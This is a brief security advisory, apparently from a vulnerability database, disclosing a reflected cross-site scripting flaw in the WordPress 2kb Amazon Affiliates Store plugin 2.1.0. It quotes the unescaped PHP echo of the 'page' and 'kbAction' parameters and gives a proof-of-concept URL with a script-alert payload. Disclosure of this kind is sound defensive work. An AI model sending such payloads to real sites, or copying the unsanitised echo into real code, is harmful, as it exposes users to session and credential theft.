WordPress 2kb Amazon Affiliates Store 2.1.0 Cross Site Scripting

`Class Input Validation Error  
CVE  
Remote Yes  
Reflected Yes  
  
Credit rsanchezr  
Vulnerable 2kb amazon affiliates store WP plugin  
  
2kb amazon affiliates store WP plugin is prone to a cross-site scripting  
vulnerability because it fails to sufficiently sanitize user-supplied data.  
  
An attacker may leverage this issue to execute arbitrary script code in the  
browser of an unsuspecting user in the context of the affected site. This  
may allow the attacker to steal cookie-based authentication credentials and  
to launch other attacks.  
  
To exploit this issue following steps:  
The XSS reflected because the "page" and "kbAction" values aren't filter  
correcly.  
  
<input type="hidden" name="page" value="<?php echo $_GET['page'];?>"/>  
<input type="hidden" name="kbAction" value="<?php echo  
$_GET['kbAction'];?>"/>  
  
Demo url:  
  
http://localhost/wordpress/wp-admin/admin.php?page=kbAmz&kbAction=demo%22%3E%3Cscript%3Ealert%281234%29%3C%2Fscript%3E  
`